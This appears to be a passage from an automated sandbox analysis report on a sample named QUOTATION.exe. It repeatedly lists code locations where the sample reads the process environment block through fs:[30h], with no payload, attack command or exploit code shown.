Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF0A5 mov eax, dword ptr fs:[00000030h]	8_2_337CF0A5
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF0A5 mov eax, dword ptr fs:[00000030h]	8_2_337CF0A5
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A60A0 mov eax, dword ptr fs:[00000030h]	8_2_337A60A0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A60A0 mov eax, dword ptr fs:[00000030h]	8_2_337A60A0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A60A0 mov eax, dword ptr fs:[00000030h]	8_2_337A60A0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A60A0 mov eax, dword ptr fs:[00000030h]	8_2_337A60A0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A60A0 mov eax, dword ptr fs:[00000030h]	8_2_337A60A0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A60A0 mov eax, dword ptr fs:[00000030h]	8_2_337A60A0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A60A0 mov eax, dword ptr fs:[00000030h]	8_2_337A60A0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371C090 mov eax, dword ptr fs:[00000030h]	8_2_3371C090
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371A093 mov ecx, dword ptr fs:[00000030h]	8_2_3371A093
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A7090 mov eax, dword ptr fs:[00000030h]	8_2_337A7090
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F4080 mov eax, dword ptr fs:[00000030h]	8_2_337F4080
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F4080 mov eax, dword ptr fs:[00000030h]	8_2_337F4080
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F4080 mov eax, dword ptr fs:[00000030h]	8_2_337F4080
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F4080 mov eax, dword ptr fs:[00000030h]	8_2_337F4080
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F4080 mov eax, dword ptr fs:[00000030h]	8_2_337F4080
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F4080 mov eax, dword ptr fs:[00000030h]	8_2_337F4080
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F4080 mov eax, dword ptr fs:[00000030h]	8_2_337F4080
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33750774 mov eax, dword ptr fs:[00000030h]	8_2_33750774
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33724779 mov eax, dword ptr fs:[00000030h]	8_2_33724779
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33724779 mov eax, dword ptr fs:[00000030h]	8_2_33724779
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33732760 mov ecx, dword ptr fs:[00000030h]	8_2_33732760
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33761763 mov eax, dword ptr fs:[00000030h]	8_2_33761763
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33761763 mov eax, dword ptr fs:[00000030h]	8_2_33761763
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33761763 mov eax, dword ptr fs:[00000030h]	8_2_33761763
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33761763 mov eax, dword ptr fs:[00000030h]	8_2_33761763
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33761763 mov eax, dword ptr fs:[00000030h]	8_2_33761763
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33761763 mov eax, dword ptr fs:[00000030h]	8_2_33761763
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33742755 mov eax, dword ptr fs:[00000030h]	8_2_33742755
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33742755 mov eax, dword ptr fs:[00000030h]	8_2_33742755
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33742755 mov eax, dword ptr fs:[00000030h]	8_2_33742755
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33742755 mov ecx, dword ptr fs:[00000030h]	8_2_33742755
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33742755 mov eax, dword ptr fs:[00000030h]	8_2_33742755
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33742755 mov eax, dword ptr fs:[00000030h]	8_2_33742755
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375A750 mov eax, dword ptr fs:[00000030h]	8_2_3375A750
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F75B mov eax, dword ptr fs:[00000030h]	8_2_3371F75B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F75B mov eax, dword ptr fs:[00000030h]	8_2_3371F75B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F75B mov eax, dword ptr fs:[00000030h]	8_2_3371F75B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F75B mov eax, dword ptr fs:[00000030h]	8_2_3371F75B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F75B mov eax, dword ptr fs:[00000030h]	8_2_3371F75B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F75B mov eax, dword ptr fs:[00000030h]	8_2_3371F75B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F75B mov eax, dword ptr fs:[00000030h]	8_2_3371F75B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F75B mov eax, dword ptr fs:[00000030h]	8_2_3371F75B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371F75B mov eax, dword ptr fs:[00000030h]	8_2_3371F75B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CE750 mov eax, dword ptr fs:[00000030h]	8_2_337CE750
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A174B mov eax, dword ptr fs:[00000030h]	8_2_337A174B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A174B mov ecx, dword ptr fs:[00000030h]	8_2_337A174B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33753740 mov eax, dword ptr fs:[00000030h]	8_2_33753740
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375174A mov eax, dword ptr fs:[00000030h]	8_2_3375174A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33749723 mov eax, dword ptr fs:[00000030h]	8_2_33749723
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372471B mov eax, dword ptr fs:[00000030h]	8_2_3372471B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372471B mov eax, dword ptr fs:[00000030h]	8_2_3372471B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337DF717 mov eax, dword ptr fs:[00000030h]	8_2_337DF717
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372D700 mov ecx, dword ptr fs:[00000030h]	8_2_3372D700
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371B705 mov eax, dword ptr fs:[00000030h]	8_2_3371B705
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371B705 mov eax, dword ptr fs:[00000030h]	8_2_3371B705
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371B705 mov eax, dword ptr fs:[00000030h]	8_2_3371B705
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371B705 mov eax, dword ptr fs:[00000030h]	8_2_3371B705
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E970B mov eax, dword ptr fs:[00000030h]	8_2_337E970B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337E970B mov eax, dword ptr fs:[00000030h]	8_2_337E970B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374270D mov eax, dword ptr fs:[00000030h]	8_2_3374270D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374270D mov eax, dword ptr fs:[00000030h]	8_2_3374270D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374270D mov eax, dword ptr fs:[00000030h]	8_2_3374270D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337277F9 mov eax, dword ptr fs:[00000030h]	8_2_337277F9
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337277F9 mov eax, dword ptr fs:[00000030h]	8_2_337277F9
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374E7E0 mov eax, dword ptr fs:[00000030h]	8_2_3374E7E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337237E4 mov eax, dword ptr fs:[00000030h]	8_2_337237E4
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337237E4 mov eax, dword ptr fs:[00000030h]	8_2_337237E4
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337237E4 mov eax, dword ptr fs:[00000030h]	8_2_337237E4
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337237E4 mov eax, dword ptr fs:[00000030h]	8_2_337237E4
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337237E4 mov eax, dword ptr fs:[00000030h]	8_2_337237E4
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337237E4 mov eax, dword ptr fs:[00000030h]	8_2_337237E4
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337237E4 mov eax, dword ptr fs:[00000030h]	8_2_337237E4
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337DF7CF mov eax, dword ptr fs:[00000030h]	8_2_337DF7CF
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F17BC mov eax, dword ptr fs:[00000030h]	8_2_337F17BC
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337207A7 mov eax, dword ptr fs:[00000030h]	8_2_337207A7
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337ED7A7 mov eax, dword ptr fs:[00000030h]	8_2_337ED7A7
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337ED7A7 mov eax, dword ptr fs:[00000030h]	8_2_337ED7A7
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337ED7A7 mov eax, dword ptr fs:[00000030h]	8_2_337ED7A7
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33751796 mov eax, dword ptr fs:[00000030h]	8_2_33751796
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33751796 mov eax, dword ptr fs:[00000030h]	8_2_33751796
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379E79D mov eax, dword ptr fs:[00000030h]	8_2_3379E79D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379E79D mov eax, dword ptr fs:[00000030h]	8_2_3379E79D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379E79D mov eax, dword ptr fs:[00000030h]	8_2_3379E79D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379E79D mov eax, dword ptr fs:[00000030h]	8_2_3379E79D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379E79D mov eax, dword ptr fs:[00000030h]	8_2_3379E79D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379E79D mov eax, dword ptr fs:[00000030h]	8_2_3379E79D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379E79D mov eax, dword ptr fs:[00000030h]	8_2_3379E79D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379E79D mov eax, dword ptr fs:[00000030h]	8_2_3379E79D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379E79D mov eax, dword ptr fs:[00000030h]	8_2_3379E79D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337FB781 mov eax, dword ptr fs:[00000030h]	8_2_337FB781
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337FB781 mov eax, dword ptr fs:[00000030h]	8_2_337FB781
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33720670 mov eax, dword ptr fs:[00000030h]	8_2_33720670
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762670 mov eax, dword ptr fs:[00000030h]	8_2_33762670
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762670 mov eax, dword ptr fs:[00000030h]	8_2_33762670
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33717662 mov eax, dword ptr fs:[00000030h]	8_2_33717662
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33717662 mov eax, dword ptr fs:[00000030h]	8_2_33717662
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33717662 mov eax, dword ptr fs:[00000030h]	8_2_33717662
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33733660 mov eax, dword ptr fs:[00000030h]	8_2_33733660
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33733660 mov eax, dword ptr fs:[00000030h]	8_2_33733660
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33733660 mov eax, dword ptr fs:[00000030h]	8_2_33733660
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A166E mov eax, dword ptr fs:[00000030h]	8_2_337A166E
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A166E mov eax, dword ptr fs:[00000030h]	8_2_337A166E
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A166E mov eax, dword ptr fs:[00000030h]	8_2_337A166E
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375666D mov esi, dword ptr fs:[00000030h]	8_2_3375666D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375666D mov eax, dword ptr fs:[00000030h]	8_2_3375666D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375666D mov eax, dword ptr fs:[00000030h]	8_2_3375666D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337AE660 mov eax, dword ptr fs:[00000030h]	8_2_337AE660
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33755654 mov eax, dword ptr fs:[00000030h]	8_2_33755654
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372965A mov eax, dword ptr fs:[00000030h]	8_2_3372965A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372965A mov eax, dword ptr fs:[00000030h]	8_2_3372965A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375265C mov eax, dword ptr fs:[00000030h]	8_2_3375265C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375265C mov ecx, dword ptr fs:[00000030h]	8_2_3375265C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375265C mov eax, dword ptr fs:[00000030h]	8_2_3375265C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33723640 mov eax, dword ptr fs:[00000030h]	8_2_33723640
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373F640 mov eax, dword ptr fs:[00000030h]	8_2_3373F640
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373F640 mov eax, dword ptr fs:[00000030h]	8_2_3373F640
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373F640 mov eax, dword ptr fs:[00000030h]	8_2_3373F640
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375C640 mov eax, dword ptr fs:[00000030h]	8_2_3375C640
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375C640 mov eax, dword ptr fs:[00000030h]	8_2_3375C640
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371D64A mov eax, dword ptr fs:[00000030h]	8_2_3371D64A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371D64A mov eax, dword ptr fs:[00000030h]	8_2_3371D64A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33720630 mov eax, dword ptr fs:[00000030h]	8_2_33720630
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33750630 mov eax, dword ptr fs:[00000030h]	8_2_33750630
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A8633 mov esi, dword ptr fs:[00000030h]	8_2_337A8633
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A8633 mov eax, dword ptr fs:[00000030h]	8_2_337A8633
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A8633 mov eax, dword ptr fs:[00000030h]	8_2_337A8633
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375F63F mov eax, dword ptr fs:[00000030h]	8_2_3375F63F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375F63F mov eax, dword ptr fs:[00000030h]	8_2_3375F63F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CD62C mov ecx, dword ptr fs:[00000030h]	8_2_337CD62C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CD62C mov ecx, dword ptr fs:[00000030h]	8_2_337CD62C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CD62C mov eax, dword ptr fs:[00000030h]	8_2_337CD62C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33725622 mov eax, dword ptr fs:[00000030h]	8_2_33725622
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33725622 mov eax, dword ptr fs:[00000030h]	8_2_33725622
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33727623 mov eax, dword ptr fs:[00000030h]	8_2_33727623
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375C620 mov eax, dword ptr fs:[00000030h]	8_2_3375C620
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B3608 mov eax, dword ptr fs:[00000030h]	8_2_337B3608
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B3608 mov eax, dword ptr fs:[00000030h]	8_2_337B3608
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B3608 mov eax, dword ptr fs:[00000030h]	8_2_337B3608
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B3608 mov eax, dword ptr fs:[00000030h]	8_2_337B3608
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B3608 mov eax, dword ptr fs:[00000030h]	8_2_337B3608
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337B3608 mov eax, dword ptr fs:[00000030h]	8_2_337B3608
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374D600 mov eax, dword ptr fs:[00000030h]	8_2_3374D600
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374D600 mov eax, dword ptr fs:[00000030h]	8_2_3374D600
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A9603 mov eax, dword ptr fs:[00000030h]	8_2_337A9603
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337DF607 mov eax, dword ptr fs:[00000030h]	8_2_337DF607
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375360F mov eax, dword ptr fs:[00000030h]	8_2_3375360F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F4600 mov eax, dword ptr fs:[00000030h]	8_2_337F4600
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379C6F2 mov eax, dword ptr fs:[00000030h]	8_2_3379C6F2
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379C6F2 mov eax, dword ptr fs:[00000030h]	8_2_3379C6F2
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337196E0 mov eax, dword ptr fs:[00000030h]	8_2_337196E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337196E0 mov eax, dword ptr fs:[00000030h]	8_2_337196E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372C6E0 mov eax, dword ptr fs:[00000030h]	8_2_3372C6E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337256E0 mov eax, dword ptr fs:[00000030h]	8_2_337256E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337256E0 mov eax, dword ptr fs:[00000030h]	8_2_337256E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337256E0 mov eax, dword ptr fs:[00000030h]	8_2_337256E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337466E0 mov eax, dword ptr fs:[00000030h]	8_2_337466E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337466E0 mov eax, dword ptr fs:[00000030h]	8_2_337466E0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374D6D0 mov eax, dword ptr fs:[00000030h]	8_2_3374D6D0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337206CF mov eax, dword ptr fs:[00000030h]	8_2_337206CF
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337EA6C0 mov eax, dword ptr fs:[00000030h]	8_2_337EA6C0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337C86C2 mov eax, dword ptr fs:[00000030h]	8_2_337C86C2
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33728690 mov eax, dword ptr fs:[00000030h]	8_2_33728690
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379D69D mov eax, dword ptr fs:[00000030h]	8_2_3379D69D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337AC691 mov eax, dword ptr fs:[00000030h]	8_2_337AC691
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337DF68C mov eax, dword ptr fs:[00000030h]	8_2_337DF68C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730680 mov eax, dword ptr fs:[00000030h]	8_2_33730680
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730680 mov eax, dword ptr fs:[00000030h]	8_2_33730680
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730680 mov eax, dword ptr fs:[00000030h]	8_2_33730680
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730680 mov eax, dword ptr fs:[00000030h]	8_2_33730680
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730680 mov eax, dword ptr fs:[00000030h]	8_2_33730680
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730680 mov eax, dword ptr fs:[00000030h]	8_2_33730680
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730680 mov eax, dword ptr fs:[00000030h]	8_2_33730680
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730680 mov eax, dword ptr fs:[00000030h]	8_2_33730680
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730680 mov eax, dword ptr fs:[00000030h]	8_2_33730680
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730680 mov eax, dword ptr fs:[00000030h]	8_2_33730680
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730680 mov eax, dword ptr fs:[00000030h]	8_2_33730680
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33730680 mov eax, dword ptr fs:[00000030h]	8_2_33730680
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373C560 mov eax, dword ptr fs:[00000030h]	8_2_3373C560
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A9567 mov eax, dword ptr fs:[00000030h]	8_2_337A9567
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337FB55F mov eax, dword ptr fs:[00000030h]	8_2_337FB55F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337FB55F mov eax, dword ptr fs:[00000030h]	8_2_337FB55F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337EA553 mov eax, dword ptr fs:[00000030h]	8_2_337EA553
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373E547 mov eax, dword ptr fs:[00000030h]	8_2_3373E547
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33756540 mov eax, dword ptr fs:[00000030h]	8_2_33756540
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33758540 mov eax, dword ptr fs:[00000030h]	8_2_33758540
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372254C mov eax, dword ptr fs:[00000030h]	8_2_3372254C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33723536 mov eax, dword ptr fs:[00000030h]	8_2_33723536
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33723536 mov eax, dword ptr fs:[00000030h]	8_2_33723536
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371753F mov eax, dword ptr fs:[00000030h]	8_2_3371753F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371753F mov eax, dword ptr fs:[00000030h]	8_2_3371753F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371753F mov eax, dword ptr fs:[00000030h]	8_2_3371753F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33762539 mov eax, dword ptr fs:[00000030h]	8_2_33762539
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33751527 mov eax, dword ptr fs:[00000030h]	8_2_33751527
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375F523 mov eax, dword ptr fs:[00000030h]	8_2_3375F523
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373252B mov eax, dword ptr fs:[00000030h]	8_2_3373252B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373252B mov eax, dword ptr fs:[00000030h]	8_2_3373252B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373252B mov eax, dword ptr fs:[00000030h]	8_2_3373252B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373252B mov eax, dword ptr fs:[00000030h]	8_2_3373252B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373252B mov eax, dword ptr fs:[00000030h]	8_2_3373252B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373252B mov eax, dword ptr fs:[00000030h]	8_2_3373252B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373252B mov eax, dword ptr fs:[00000030h]	8_2_3373252B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33741514 mov eax, dword ptr fs:[00000030h]	8_2_33741514
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33741514 mov eax, dword ptr fs:[00000030h]	8_2_33741514
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33741514 mov eax, dword ptr fs:[00000030h]	8_2_33741514
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33741514 mov eax, dword ptr fs:[00000030h]	8_2_33741514
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33741514 mov eax, dword ptr fs:[00000030h]	8_2_33741514
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33741514 mov eax, dword ptr fs:[00000030h]	8_2_33741514
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337AC51D mov eax, dword ptr fs:[00000030h]	8_2_337AC51D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF51B mov eax, dword ptr fs:[00000030h]	8_2_337CF51B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF51B mov eax, dword ptr fs:[00000030h]	8_2_337CF51B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF51B mov eax, dword ptr fs:[00000030h]	8_2_337CF51B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF51B mov eax, dword ptr fs:[00000030h]	8_2_337CF51B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF51B mov eax, dword ptr fs:[00000030h]	8_2_337CF51B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF51B mov eax, dword ptr fs:[00000030h]	8_2_337CF51B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF51B mov ecx, dword ptr fs:[00000030h]	8_2_337CF51B
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337CF51B mov ecx, dword ptr fs:[00000030h]	8_2_337CF51B
